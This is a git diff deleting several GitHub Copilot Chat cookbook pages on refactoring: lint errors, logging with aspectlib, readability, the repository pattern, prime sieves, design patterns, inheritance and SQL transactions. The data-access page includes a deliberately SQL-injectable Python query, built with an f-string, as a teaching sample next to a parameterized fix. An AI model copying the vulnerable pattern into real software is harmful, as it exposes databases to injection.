SELECT first_name, last_name, email, department, job_title, start_date - FROM source_table - WHERE (department = 'Engineering' AND salary > 95000) - OR (department = 'Engineering' AND years_of_experience > 5) - OR (department = 'Marketing' AND performance_rating = 'Excellent'); - ORDER BY primary_key_column - OFFSET @Offset ROWS FETCH NEXT @BatchSize ROWS ONLY; - - SET @RowCount = @@ROWCOUNT; - SET @Offset = @Offset + @BatchSize; - - COMMIT; -END; -``` - -{% data variables.product.prodname_copilot_short %} tells you to replace `primary_key_column` in the suggested code with the name of the actual primary key column of `source_table`. - -## Avoiding data integrity issues - -It's important that the information in your databases remains accurate, consistent, and complete. Poorly designed queries can result in missing or incorrect data. - -### Example scenario - -The following SQL transaction deletes an employee record and creates a deletion log. However, it's possible for the `DELETE` operation to succeed and the `INSERT` operation to fail, in which case there is no log record for the deletion. - -```sql -BEGIN TRANSACTION; - -DELETE FROM employees -WHERE employee_id = 101; - -INSERT INTO deletion_log (employee_id, deletion_date, reason) -VALUES (101, GETDATE(), 'Voluntary Resignation'); - -COMMIT TRANSACTION; -``` - -### Example prompt - -`How can I ensure that the DELETE and INSERT operations are only performed if both succeed?` - -{% data variables.product.prodname_copilot_short %} tells you that you achieve this by using a transaction with error handling. It gives the following example using SQL Server's `TRY...CATCH` construct: - -```sql -BEGIN TRY - BEGIN TRANSACTION; - - DELETE FROM employees - WHERE employee_id = 101; - - INSERT INTO deletion_log (employee_id, deletion_date, reason) - VALUES (101, GETDATE(), 'Voluntary Resignation'); - - COMMIT TRANSACTION; -END TRY -BEGIN CATCH - ROLLBACK TRANSACTION; - -- Handle the error, e.g., log it or re-throw - DECLARE @ErrorMessage NVARCHAR(4000); - DECLARE @ErrorSeverity INT; - DECLARE @ErrorState INT; - - SELECT - @ErrorMessage = ERROR_MESSAGE(), - @ErrorSeverity = ERROR_SEVERITY(), - @ErrorState = ERROR_STATE(); - - RAISERROR (@ErrorMessage, @ErrorSeverity, @ErrorState); -END CATCH; -``` - -The suggested code ensures that if either the `DELETE` or `INSERT` operation fails, the transaction is rolled back and no changes are made to the database. - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} diff --git a/content/copilot/copilot-chat-cookbook/refactoring-code/fixing-lint-errors.md b/content/copilot/copilot-chat-cookbook/refactoring-code/fixing-lint-errors.md deleted file mode 100644 index 9b7e6dd2f58e..000000000000 --- a/content/copilot/copilot-chat-cookbook/refactoring-code/fixing-lint-errors.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Fixing lint errors -shortTitle: Lint errors -intro: '{% data variables.product.prodname_copilot_chat_short %} can suggest ways to fix issues identified by a code linter.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/refactoring-code/fixing-lint-errors -versions: - feature: copilot -category: - - 'Refactoring code' -complexity: - - Intermediate -octicon: rocket -topics: - - Copilot ---- - -It's good practice to use a linter to check your code for potential errors, style violations, or deviations from best practices. Linters can help you to catch bugs early, improve the readability of your code, and ensure that your code is consistent and maintainable. - -## Example scenario - -You have run a linter on your code and it has identified some issues that need to be fixed. Rather than fixing these manually, you can ask {% data variables.product.prodname_copilot_chat_short %} to fix them for you. - -## Example prompts - -* Select all of the code in the editor, then type: - - `Fix the lint errors` - -* You can specify a particular set of coding guidelines for a language, such as PEP8 for Python: - - `Use PEP8 to fix the lint errors` - -* If you have a local file that defines your coding conventions and rules, you can drag the file into the chat window to add it as an attachment, then type: - - `Use the attached style guide to fix the lint errors` - -* Alternatively, you can ask {% data variables.product.prodname_copilot_chat_short %} to fix only a specific type of lint error: - - `Make sure all functions use snake_case naming style` - -## Example response - -{% data variables.product.prodname_copilot_short %} tells you what needs to be changed, and then gives you the corrected code. You should review the suggested code thoroughly before using it. The code that {% data variables.product.prodname_copilot_short %} suggests may not fix all of the issues identified by your linter, so you should always run the linter again if you choose to use the suggested code. - -Linting issues that {% data variables.product.prodname_copilot_short %} can help you fix include: - -* Adding necessary imports that are missing. -* Removing imports that are not used in the code. -* Splitting import statements into separate lines. -* Using method and function names that follow style guidelines. -* Adding spaces around operators. -* Ensuring consistent indentation. -* Removing trailing whitespace. -* Splitting multiple statements that are on a single line into separate lines. -* Breaking long line into multiple lines. -* Removing unused variables. -* Adding or removing blank lines to adhere to style guidelines. -* Adding docstrings to functions, classes, and modules. -* Removing code that will never be executed. -* Ensuring that all return statements in a function either return a value or none. -* Reducing or eliminating the use of global variables. -* Ensuring that functions are called with the correct number and type of arguments. -* Ensuring that comments are placed correctly and are meaningful. -* Replacing print statements with proper logging. - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} diff --git a/content/copilot/copilot-chat-cookbook/refactoring-code/handling-cross-cutting-concerns.md b/content/copilot/copilot-chat-cookbook/refactoring-code/handling-cross-cutting-concerns.md deleted file mode 100644 index 7a36918d12fd..000000000000 --- a/content/copilot/copilot-chat-cookbook/refactoring-code/handling-cross-cutting-concerns.md +++ /dev/null @@ -1,187 +0,0 @@ ---- -title: Handling cross-cutting concerns -shortTitle: Cross-cutting concerns -intro: '{% data variables.product.prodname_copilot_chat_short %} can help you avoid code that relates to a concern other than the core concern of the method or function in which the code is located.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/refactoring-code/handling-cross-cutting-concerns -versions: - feature: copilot -category: - - 'Refactoring code' -complexity: - - Intermediate -octicon: rocket -topics: - - Copilot ---- - -Cross-cutting concerns are aspects of a program that affect multiple parts of the system, such as logging, security, data validation, and error handling. They can become scattered throughout a codebase, leading to code duplication and maintenance challenges. - -{% data variables.product.prodname_copilot_chat_short %} can help refactor cross-cutting concerns by suggesting the implementation of Aspect-Oriented Programming (AOP) practices or using decorators and middleware patterns to centralize these concerns in a modular, maintainable way. - -## Example scenario - -Imagine you have a Python project that contains multiple service files in which logging occurs. The information that gets logged is defined within each of the individual service files. If the application is modified or extended in future, this design could lead to inconsistency in the content and style of log entries. You can consolidate and centralize the logging behavior to avoid this being distributed across your project. - -Here are three files from our example project: the entry point file (`main.py`), the log message configuration file (`logging_config.py`), and one of the service files (`order_service.py`). The example service file shows how log information is defined alongside the business logic for a particular part of the application. - -### main.py - -```python -import logging -from logging_config import setup_logging -from payment_service import PaymentService -from order_service import OrderService -from shipping_service import ShippingService -from inventory_service import InventoryService -from notification_service import NotificationService - -def main(): - setup_logging() - payment_service = PaymentService() - order_service = OrderService() - shipping_service = ShippingService() - inventory_service = InventoryService() - notification_service = NotificationService() - - # Example usage - payment_service.process_payment({"amount": 100, "currency": "USD"}) - order_service.place_order({"item": "Book", "quantity": 1}) - shipping_service.ship_order({"item": "Book", "quantity": 1}) - inventory_service.update_inventory("Book", -1) - notification_service.send_notification("Order has been placed and shipped.") - -if __name__ == "__main__": - main() -``` - -### logging_config.py - -```python -import logging - -def setup_logging(): - logging.basicConfig(level=logging.INFO, - format='%(asctime)s - %(name)s - %(levelname)s - %(message)s') -``` - -### order_service.py - -```python -import logging - -class OrderService: - def __init__(self): - self.logger = logging.getLogger(__name__) - - def place_order(self, order): - self.logger.info("Entering place_order method.") - try: - # In here would be the business logic for placing an order - # ... - self.logger.info("Order placed successfully.") - except Exception as e: - self.logger.error(f"Error in place_order method: {e}") - raise - finally: - self.logger.info("Exiting place_order method.") -``` - -## Example prompt - -Open the project workspace in {% data variables.product.prodname_vscode_shortname %} or {% data variables.product.prodname_vs %} and enter the following prompt in the {% data variables.product.prodname_copilot_chat_short %} view. - -`@workspace Refactor this project by using AOP to avoid logging that has cross-cutting concerns` - -> [!NOTE] -> The `@workspace` chat participant in {% data variables.product.prodname_vscode_shortname %} and {% data variables.product.prodname_vs %} provides {% data variables.product.prodname_copilot_short %} with context about all of the code in your workspace. You can use `@workspace` when you want {% data variables.product.prodname_copilot_short %} to consider the structure of your project and how different parts of your code interact. If you're using a JetBrains IDE, use `@project` rather than `@workspace`. - -## Example response - -{% data variables.product.prodname_copilot_short %} responds as follows. - -{% data reusables.copilot.example-prompts.response-is-an-example %} - -> To refactor this project using Aspect-Oriented Programming (AOP) to handle logging as a cross-cutting concern, you can use a library like `aspectlib`. Here is how you can do it: -> -> 1. Install `aspectlib`: -> -> `pip install aspectlib` -> -> 1. Create an aspect for logging in a new file called `logging_aspect.py`: -> -> ```python -> import aspectlib -> import logging -> -> @aspectlib.Aspect(bind=True) -> def log_method_call(cutpoint, *args, **kwargs): -> logger = logging.getLogger() -> method_name = cutpoint.__name__ -> logger.info(f"Entering method: {method_name}") -> try: -> result = yield aspectlib.Proceed -> logger.info(f"Method {method_name} executed successfully.") -> return result -> except Exception as e: -> logger.error(f"Error in method {method_name}: {e}") -> raise -> finally: -> logger.info(f"Exiting method: {method_name}") -> ``` -> -> 1. Apply the aspect to the service methods in `main.py`: -> -> ```python -> import logging -> from logging_config import setup_logging -> from payment_service import PaymentService -> from order_service import OrderService -> from shipping_service import ShippingService -> from inventory_service import InventoryService -> from notification_service import NotificationService -> from logging_aspect import log_method_call -> import aspectlib -> -> def main(): -> setup_logging() -> -> # Apply logging aspect to service methods -> aspectlib.weave(PaymentService.process_payment, log_method_call) -> aspectlib.weave(OrderService.place_order, log_method_call) -> aspectlib.weave(ShippingService.ship_order, log_method_call) -> aspectlib.weave(InventoryService.update_inventory, log_method_call) -> aspectlib.weave(NotificationService.send_notification, log_method_call) -> -> payment_service = PaymentService() -> order_service = OrderService() -> shipping_service = ShippingService() -> inventory_service = InventoryService() -> notification_service = NotificationService() -> -> # Example usage -> payment_service.process_payment({"amount": 100, "currency": "USD"}) -> order_service.place_order({"item": "Book", "quantity": 1}) -> shipping_service.ship_order({"item": "Book", "quantity": 1}) -> inventory_service.update_inventory("Book", -1) -> notification_service.send_notification("Order has been placed and shipped.") -> -> if __name__ == "__main__": -> main() -> ``` - -{% data variables.product.prodname_copilot_short %} then tells you to remove the logging code from all of the service classes, and gives you the code for the revised files. For example, this is the revised version of `order_service.py`: - -```python -class OrderService: - def place_order(self, order): - # In here would be the business logic for placing an order - # ... - pass -``` - -In the refactored version of the project, the same logging operations are performed, but the logging code is centralized in a single file. - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} diff --git a/content/copilot/copilot-chat-cookbook/refactoring-code/improving-code-readability-and-maintainability.md b/content/copilot/copilot-chat-cookbook/refactoring-code/improving-code-readability-and-maintainability.md deleted file mode 100644 index 89caf4c02e70..000000000000 --- a/content/copilot/copilot-chat-cookbook/refactoring-code/improving-code-readability-and-maintainability.md +++ /dev/null @@ -1,277 +0,0 @@ ---- -title: 'Improving code readability and maintainability' -shortTitle: Improve code readability -intro: '{% data variables.product.prodname_copilot_chat_short %} can suggest ways to make your code easier to understand and maintain.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/refactoring-code/improving-code-readability-and-maintainability -versions: - feature: copilot -category: - - 'Refactoring code' -complexity: - - Simple -octicon: rocket -topics: - - Copilot ---- - -Code with poor readability is difficult for other developers to maintain and extend. {% data variables.product.prodname_copilot_chat_short %} can help in a number of ways. For example, by: -* [Suggesting improvements to variable names](#improving-variable-names) -* [Avoiding sequential conditional checks](#avoiding-sequential-conditional-checks) -* [Reducing nested logic](#reducing-nested-logic) -* [Splitting large methods into smaller, more readable ones](#splitting-up-large-methods) - -Documenting your code is another way to improve the maintainability of your code. For information about using {% data variables.product.prodname_copilot_chat_short %} to help you add useful comments to your code, see the example prompts in [Documenting code](/copilot/copilot-chat-cookbook/documenting-code). - -> [!NOTE] The responses shown in this article are examples. {% data variables.product.prodname_copilot_chat_short %} responses are non-deterministic, so you may get different responses from the ones shown here. - -## Improving variable names - -Descriptive variable names and parameter names make it easier to understand their purpose. - -### Example scenario - -This JavaScript code logs a message about a person's age to the console. The abstract parameter names make it difficult to understand the purpose of the code. - -```javascript -function logPersonsAge(a, b, c) { - if (c) { - console.log(a + " is " + b + " years old."); - } else { - console.log(a + " does not want to reveal their age."); - } -} -``` - -### Example prompt - -In the editor, select the function you want to change, then ask {% data variables.product.prodname_copilot_chat_short %}: - -`Improve the variable names in this function` - -### Example response - -{% data variables.product.prodname_copilot_short %} suggests descriptive variable names. - -```javascript -function logPersonAge(name, age, revealAge) { - if (revealAge) { - console.log(name + " is " + age + " years old."); - } else { - console.log(name + " does not want to reveal their age."); - } -} -``` - -## Avoiding sequential conditional checks - -`if...else` chains can be difficult to read, especially when they are long. - -### Example scenario - -This Python code prints the sound that various animals make, if defined, or "Unknown animal" if the animal type is not recognized. However, the chain of `if...else` statements makes the code inefficient and cumbersome. - -```python -class Animal: - def speak(self): - pass - -class Dog(Animal): - def speak(self): - return "Woof!" - -class Cat(Animal): - def speak(self): - return "Meow!" - -class Bird(Animal): - def speak(self): - return "Tweet!" - -def animal_sound(animal_type): - if animal_type == "dog": - return Dog().speak() - elif animal_type == "cat": - return Cat().speak() - elif animal_type == "bird": - return Bird().speak() - else: - return "Unknown animal" - -print(animal_sound("dog")) -print(animal_sound("cat")) -print(animal_sound("bird")) -print(animal_sound("fish")) -``` - -### Example prompt - -`Simplify this code. Avoid using if/else chains but retain all function return values.` - -### Example response - -{% data variables.product.prodname_copilot_short %} suggests using a dictionary to map the animal types to their corresponding classes. - -```python -class Animal: - def speak(self): - pass - -class Dog(Animal): - def speak(self): - return "Woof!" - -class Cat(Animal): - def speak(self): - return "Meow!" - -class Bird(Animal): - def speak(self): - return "Tweet!" - -def animal_sound(animal_type): - animals = { - "dog": Dog, - "cat": Cat, - "bird": Bird - } - animal_class = animals.get(animal_type, Animal) - return animal_class().speak() if animal_class != Animal else "Unknown animal" - -print(animal_sound("dog")) -print(animal_sound("cat")) -print(animal_sound("bird")) -print(animal_sound("fish")) -``` - -## Reducing nested logic - -Deeply nested structures can make the code hard to follow, making it difficult to modify or extend the logic of the code in future. - -### Example scenario - -This Ruby code prints information about a user account based on three parameters. The use of nested `if...else` statements makes the code unnecessarily complex. - -```ruby -def determine_access(user_role, has_permission, is_active) - if user_role == "admin" - if has_permission - if is_active - "Active admin account with full access." - else - "Inactive admin account." - end - else - "Admin account lacks necessary permissions." - end - else - "Access denied." - end -end - -puts determine_access("admin", true, true) -puts determine_access("admin", true, false) -puts determine_access("admin", false, true) -puts determine_access("user", true, true) -``` - -### Example prompt - -`Rewrite this code to avoid the nested if/else statements` - -### Example response - -{% data variables.product.prodname_copilot_short %} suggests using guard clauses to handle the conditions early and return the appropriate messages. - -```ruby -def determine_access(user_role, has_permission, is_active) - return "Access denied." unless user_role == "admin" - return "Admin account lacks necessary permissions." unless has_permission - return "Inactive admin account." unless is_active - - "Active admin account with full access." -end - -puts determine_access("admin", true, true) -puts determine_access("admin", true, false) -puts determine_access("admin", false, true) -puts determine_access("user", true, true) -``` - -## Splitting up large methods - -It can be difficult to grasp exactly what a method or function does if it is too long, making it difficult to maintain. Methods or functions that perform multiple tasks may not be reusable in other contexts. It may also be difficult to test each task in isolation. - -### Example scenario - -This Java method processes a customer order and prints a message. It performs multiple tasks in a single method. - -```java -public void processOrder(Order order) { - if (order == null || order.getItems().isEmpty()) { - throw new IllegalArgumentException("Order is invalid."); - } - - double totalPrice = 0.0; - for (Item item : order.getItems()) { - totalPrice += item.getPrice() * item.getQuantity(); - } - order.setTotalPrice(totalPrice); - - if (totalPrice > 0) { - order.setStatus("Processed"); - } else { - order.setStatus("Pending"); - } - - System.out.println("Order for customer " + order.getCustomerName() + " has been processed. Total price: " + totalPrice); -} -``` - -### Example prompt - -`How could the processOrder method be refactored to be more useful and easier to maintain` - -### Example response - -{% data variables.product.prodname_copilot_short %} suggests breaking this method down into smaller, more focused methods. - -```java -public void processOrder(Order order) { - validateOrder(order); - double totalPrice = calculateTotalPrice(order); - updateOrderStatus(order, totalPrice); - printOrderSummary(order, totalPrice); -} - -private void validateOrder(Order order) { - if (order == null || order.getItems().isEmpty()) { - throw new IllegalArgumentException("Order is invalid."); - } -} - -private double calculateTotalPrice(Order order) { - double totalPrice = 0.0; - for (Item item : order.getItems()) { - totalPrice += item.getPrice() * item.getQuantity(); - } - order.setTotalPrice(totalPrice); - return totalPrice; -} - -private void updateOrderStatus(Order order, double totalPrice) { - if (totalPrice > 0) { - order.setStatus("Processed"); - } else { - order.setStatus("Pending"); - } -} - -private void printOrderSummary(Order order, double totalPrice) { - System.out.println("Order for customer " + order.getCustomerName() + " has been processed. Total price: " + totalPrice); -} -``` - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} diff --git a/content/copilot/copilot-chat-cookbook/refactoring-code/index.md b/content/copilot/copilot-chat-cookbook/refactoring-code/index.md deleted file mode 100644 index 88e1983ce6be..000000000000 --- a/content/copilot/copilot-chat-cookbook/refactoring-code/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Refactoring code -intro: 'Discover ways that you can use {% data variables.product.prodname_copilot %} to refactor your code.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/refactoring-code -versions: - feature: copilot -topics: - - Copilot -children: - - /improving-code-readability-and-maintainability - - /fixing-lint-errors - - /refactoring-for-performance-optimization - - /refactoring-to-implement-a-design-pattern - - /refactoring-data-access-layers - - /decoupling-business-logic-from-ui-components - - /handling-cross-cutting-concerns - - /simplifying-complex-inheritance-hierarchies - - /fixing-database-deadlocks-or-data-integrity-issues - - /translating-code-to-a-different-programming-language ---- diff --git a/content/copilot/copilot-chat-cookbook/refactoring-code/refactoring-data-access-layers.md b/content/copilot/copilot-chat-cookbook/refactoring-code/refactoring-data-access-layers.md deleted file mode 100644 index 23a171a9a6d7..000000000000 --- a/content/copilot/copilot-chat-cookbook/refactoring-code/refactoring-data-access-layers.md +++ /dev/null @@ -1,129 +0,0 @@ ---- -title: Refactoring data access layers -shortTitle: Data access layers -intro: '{% data variables.product.prodname_copilot_chat_short %} can suggest ways to decouple your data access code from your business logic, making an application easier to maintain and scale.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/refactoring-code/refactoring-data-access-layers -versions: - feature: copilot -category: - - 'Refactoring code' -complexity: - - Advanced -octicon: rocket -topics: - - Copilot ---- - -Hardcoded SQL queries and tightly coupled data access code can make it difficult to scale or switch databases, and they often lead to repeated logic. - -{% data variables.product.prodname_copilot_chat_short %} can recommend implementing a repository pattern or data access layer that abstracts database interactions, making the code more modular and reducing redundancy. It can also help refactor SQL queries into optimized versions, improving performance and maintainability. - -> [!NOTE] The responses described in this article are examples. {% data variables.product.prodname_copilot_chat_short %} responses are non-deterministic, so you may get different responses from the ones shown here. - -## Example scenario - -This Python code connects to a SQLite database, retrieves a user record, and returns the user data. However, it fails to abstract the database connection logic and uses a hardcoded query that's vulnerable to SQL injection. - -```python -import sqlite3 - -def get_user_by_id(user_id): - conn = sqlite3.connect('database.db') - cursor = conn.cursor() - cursor.execute(f"SELECT display_name FROM users WHERE id = {user_id}") - user = cursor.fetchone() - conn.close() - return user -``` - -## Example prompt 1 - -You can start by asking {% data variables.product.prodname_copilot_short %} a general question about how to improve the code. - -`How can I improve this code to make it safe and easier to update and expand? List possible improvements but don't show revised code.` - -## Example response 1 - -{% data variables.product.prodname_copilot_short %} makes several suggestions for improving the code: - -* Abstract the database connection details. -* Use parameterized queries to prevent SQL injection. -* Use a context manager to ensure that the database connection is properly closed if an error occurs. -* Add error handling. - -## Example prompt 2 - -You can use the response to your first prompt to write a more specific prompt. - -`Rewrite this code to make it more scalable and easier to maintain. Use a context manager. Avoid hardcoded SQL queries and tightly coupled data access code. Instead, use a repository pattern to abstract database interactions and make the code more modular and reusable. Where possible optimize the code to improve performance. Include error trapping, and make sure the code is not vulnerable to SQL injection.` - -## Example response 2 - -{% data variables.product.prodname_copilot_short %} suggests splitting the code into separate files, each with a specific purpose. It also provides example code for returning a user's details. - -The suggested changes implement a repository pattern and use parameterized queries to avoid SQL injection. - -```python -# database.py -import sqlite3 - -class Database: - def __init__(self, db_path): - self.db_path = db_path - - def __enter__(self): - self.conn = sqlite3.connect(self.db_path) - self.cursor = self.conn.cursor() - return self - - def __exit__(self, exc_type, exc_val, exc_tb): - if exc_type or exc_val or exc_tb: - self.conn.rollback() - else: - self.conn.commit() - self.conn.close() - -# user_repository.py -class UserRepository: - def __init__(self, db): - self.db = db - - def get_user_by_id(self, user_id): - try: - self.db.cursor.execute("SELECT display_name FROM users WHERE id = ?", (user_id,)) - user = self.db.cursor.fetchone() - return user - except sqlite3.Error as e: - print(f"An error occurred: {e}") - return None - -# main.py -from database import Database -from user_repository import UserRepository - -def get_user_by_id(user_id): - with Database('database.db') as db: - user_repo = UserRepository(db) - return user_repo.get_user_by_id(user_id) - -# Example usage -if __name__ == "__main__": - user = get_user_by_id(1) - if user: - print(user) - else: - print("User not found or an error occurred.") -``` - -The revised code improves on the original in several ways: - -* The code now implements a basic data access layer. -* The `Database` class handles the connection to the SQLite database, implementing the context manager protocol with the `__enter__` and `__exit__` methods. This ensures that the database connection is properly managed, including committing transactions and closing the connection. -* The `UserRepository` class encapsulates the logic for accessing user data. -* Values for the queries are parameterized to prevent SQL injection. -* Errors are caught, with details printed to the console. - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} diff --git a/content/copilot/copilot-chat-cookbook/refactoring-code/refactoring-for-performance-optimization.md b/content/copilot/copilot-chat-cookbook/refactoring-code/refactoring-for-performance-optimization.md deleted file mode 100644 index decbbf2347d1..000000000000 --- a/content/copilot/copilot-chat-cookbook/refactoring-code/refactoring-for-performance-optimization.md +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Refactoring for performance optimization -shortTitle: Performance optimization -intro: '{% data variables.product.prodname_copilot_chat_short %} can suggest ways to speed up slow-running code.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/refactoring-code/refactoring-for-performance-optimization -versions: - feature: copilot -category: - - 'Refactoring code' -complexity: - - Simple -octicon: rocket -topics: - - Copilot ---- - -Existing code may function correctly but be inefficient, leading to performance bottlenecks. Examples of coding that can adversely impact performance include inefficient loops, unnecessary computations, and excessive memory allocation. - -{% data variables.product.prodname_copilot_chat_short %} can identify performance hotspots and suggest refactoring strategies such as optimizing data structures (for example, using hashmaps instead of arrays), reducing redundant calculations, and improving algorithmic efficiency. It can also recommend caching mechanisms or parallelizing operations to improve performance. - -## Example scenario - -The following Python code prints every 1000th prime number up to the 10,000th prime. It includes a timer, and prints how long the code takes to run as the last line of the output. The program takes several seconds to complete. - -```python -import time - -def is_prime(n): - if n <= 1: - return False - for i in range(2, n): - if n % i == 0: - return False - return True - -def every_1000th_prime(): - primes = [] - num = 2 - while len(primes) < 10000: - if is_prime(num): - primes.append(num) - num += 1 - return [primes[i] for i in range(999, 10000, 1000)] - -if __name__ == "__main__": - start_time = time.time() - primes = every_1000th_prime() - for prime in primes: - print(prime) - end_time = time.time() - elapsed_time = end_time - start_time - print(f"Time taken: {elapsed_time:.10f} seconds") -``` - -## Example prompt - -`Optimize this code for performance` - -## Example response - -{% data variables.product.prodname_copilot_short %} suggests using a sieve function to generate the prime numbers much more efficiently. If you run this program it will complete in a fraction of a second. - -> [!NOTE] {% data variables.product.prodname_copilot_chat_short %} responses are non-deterministic, so you may get a different response from the one shown here. - -```python -import time - -def sieve_of_eratosthenes(limit): - sieve = [True] * (limit + 1) - sieve[0] = sieve[1] = False - for start in range(2, int(limit**0.5) + 1): - if sieve[start]: - for multiple in range(start*start, limit + 1, start): - sieve[multiple] = False - return [num for num, is_prime in enumerate(sieve) if is_prime] - -def every_1000th_prime(): - limit = 105000 # Higher than needed to ensure 10,000 primes - primes = sieve_of_eratosthenes(limit) - return [primes[i] for i in range(999, 10000, 1000)] - -if __name__ == "__main__": - start_time = time.time() - primes = every_1000th_prime() - for prime in primes: - print(prime) - end_time = time.time() - elapsed_time = end_time - start_time - print(f"Time taken: {elapsed_time:.10f} seconds") -``` - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} diff --git a/content/copilot/copilot-chat-cookbook/refactoring-code/refactoring-to-implement-a-design-pattern.md b/content/copilot/copilot-chat-cookbook/refactoring-code/refactoring-to-implement-a-design-pattern.md deleted file mode 100644 index 460210656ada..000000000000 --- a/content/copilot/copilot-chat-cookbook/refactoring-code/refactoring-to-implement-a-design-pattern.md +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: Refactoring to implement a design pattern -shortTitle: Design patterns -intro: '{% data variables.product.prodname_copilot_chat_short %} can suggest design patterns that you can use to improve your code.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/refactoring-code/refactoring-to-implement-a-design-pattern -versions: - feature: copilot -category: - - 'Refactoring code' -complexity: - - Intermediate -octicon: rocket -topics: - - Copilot ---- - -Code that doesn’t follow established design patterns (like Singleton, Factory, or Observer) can lead to issues like tight coupling, lack of flexibility, or duplicated code. - -{% data variables.product.prodname_copilot_chat_short %} can help you use appropriate design patterns to make your code more flexible and maintainable. For example, it can recommend converting repetitive instantiations into a Factory pattern, or using the Observer pattern to decouple tightly connected classes. - -> [!NOTE] The responses described in this article are examples. {% data variables.product.prodname_copilot_chat_short %} responses are non-deterministic, so you may get different responses from the ones shown here. - -## Example scenario - -This JavaScript code creates three `Person` objects, each with `name` and `age` properties. It then uses the name of a person to retrieve and print their age. - -```javascript -class Person { - constructor(name, age) { - this.name = name; - this.age = age; - } -} - -var people = {}; - -function addPerson(name, age) { - people[name] = new Person(name, age); -} - -function getAge(name) { - if (people[name]) { - console.log(name + " is " + people[name].age + " years old."); - } else { - console.log("Person not found."); - } -} - -addPerson("Ana", 30); -addPerson("Mario", 25); -addPerson("Louise", 40); - -getAge("Mario"); -``` - -## Example prompt 1 - -`What design patterns could improve this code? Don't show me code examples.` - -## Example response 1 - -{% data variables.product.prodname_copilot_short %} suggests the following patterns: - -* **Singleton pattern:** to ensure that there is only one instance of the `people` object. -* **Factory pattern:** to create a factory for creating `Person` objects. -* **Module pattern:** to encapsulate the `people` object and related functions within a module to avoid polluting the global namespace. - -## Example prompt 2 - -You can now ask {% data variables.product.prodname_copilot_short %} to implement the pattern that you feel is most appropriate. - -`Refactor this code using the module pattern` - -## Example response 2 - -```javascript -const PersonModule = (function() { - class Person { - constructor(name, age) { - this.name = name; - this.age = age; - } - } - - const people = {}; - - function addPerson(name, age) { - people[name] = new Person(name, age); - } - - function getAge(name) { - if (people[name]) { - console.log(name + " is " + people[name].age + " years old."); - } else { - console.log("Person not found."); - } - } - - return { - addPerson, - getAge - }; -})(); - -PersonModule.addPerson("Ana", 30); -PersonModule.addPerson("Mario", 25); -PersonModule.addPerson("Louise", 40); - -PersonModule.getAge("Mario"); -``` - -The module pattern improves code organization, enhances data privacy, and reduces the risk of naming conflicts, making the code more maintainable and scalable. - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} diff --git a/content/copilot/copilot-chat-cookbook/refactoring-code/simplifying-complex-inheritance-hierarchies.md b/content/copilot/copilot-chat-cookbook/refactoring-code/simplifying-complex-inheritance-hierarchies.md deleted file mode 100644 index b591c8842ae7..000000000000 --- a/content/copilot/copilot-chat-cookbook/refactoring-code/simplifying-complex-inheritance-hierarchies.md +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Simplifying complex inheritance hierarchies -shortTitle: Simplify inheritance hierarchies -intro: '{% data variables.product.prodname_copilot_chat_short %} can help you to refactor code to avoid classes with multiple layers of inheritance.' -redirect_from: - - /copilot/example-prompts-for-github-copilot-chat/refactoring-code/simplifying-complex-inheritance-hierarchies -versions: - feature: copilot -category: - - 'Refactoring code' -complexity: - - Intermediate -octicon: rocket -topics: - - Copilot ---- - -Deep inheritance hierarchies, or improper use of inheritance, can lead to code that is hard to maintain, making it difficult to follow relationships between classes, or to extend them without causing breakage. - -{% data variables.product.prodname_copilot_chat_short %} can suggest refactoring inheritance-based designs into more flexible composition-based designs (favoring composition over inheritance). It can also recommend applying patterns like Strategy or Decorator to make the system more extensible without adding complexity to the inheritance structure. - -## Example scenario - -The following C# code has a deep inheritance hierarchy where each class builds on the previous one. The result is a long chain of inheritance that makes it difficult to know what properties each class has. - -A multi-level inheritance hierarchy like this can be difficult to understand, modify, and extend. - -```csharp -public class Employee -{ - public string Name { get; set; } - public int EmployeeID { get; set; } -} - -public class Manager : Employee -{ - public int NumberOfTeams { get; set; } -} - -public class SeniorManager : Manager -{ - public string Region { get; set; } -} - -public class Director : SeniorManager -{ - public int NumberOfDepartments { get; set; } -} - -public class VicePresident : Director -{ - public string Division { get; set; } -} - -public class President : VicePresident -{ - public string Company { get; set; } -} -``` - -## Example prompt - -In this situation you might decide to use a parent `Employee` class whose properties other classes should inherit, but to avoid any other inheritance by defining all other properties separately for each class. - -`Refactor this code so that classes only inherit the properties of the Employee class. All of the other properties that each class currently inherits should instead be declared independently in each class definition.` - -## Example response - -{% data reusables.copilot.example-prompts.response-is-an-example %} - -{% data variables.product.prodname_copilot_short %} suggests the following code: - -```csharp -public class Employee -{ - public string Name { get; set; } - public int EmployeeID { get; set; } -} - -public class Manager : Employee -{ - public int NumberOfTeams { get; set; } -} - -public class SeniorManager : Employee -{ - public int NumberOfTeams { get; set; } - public string Region { get; set; } -} - -public class Director : Employee -{ - public int NumberOfTeams { get; set; } - public string Region { get; set; } - public int NumberOfDepartments { get; set; } -} - -public class VicePresident : Employee -{ - public int NumberOfTeams { get; set; } - public string Region { get; set; } - public int NumberOfDepartments { get; set; } - public string Division { get; set; } -} - -public class President : Employee -{ - public int NumberOfTeams { get; set; } - public string Region { get; set; } - public int NumberOfDepartments { get; set; } - public string Division { get; set; } - public string Company { get; set; } -} -``` - -## Further reading - -{% data reusables.copilot.example-prompts.further-reading-items %} diff --git a/content/copilot/copilot-chat-cookbook/refactoring-code/translating-code-to-a-different-programming-language.md b/content/copilot/copilot-chat-cookbook/refactoring-code/translating-code-to-a-different-programming-language.md deleted file mode 100644 index 0fa2c24ba9f1..000000000000 --- a/content/copilot/copilot-chat-cookbook/refactoring-code/translating-code-to-a-different-programming-language.md +++ 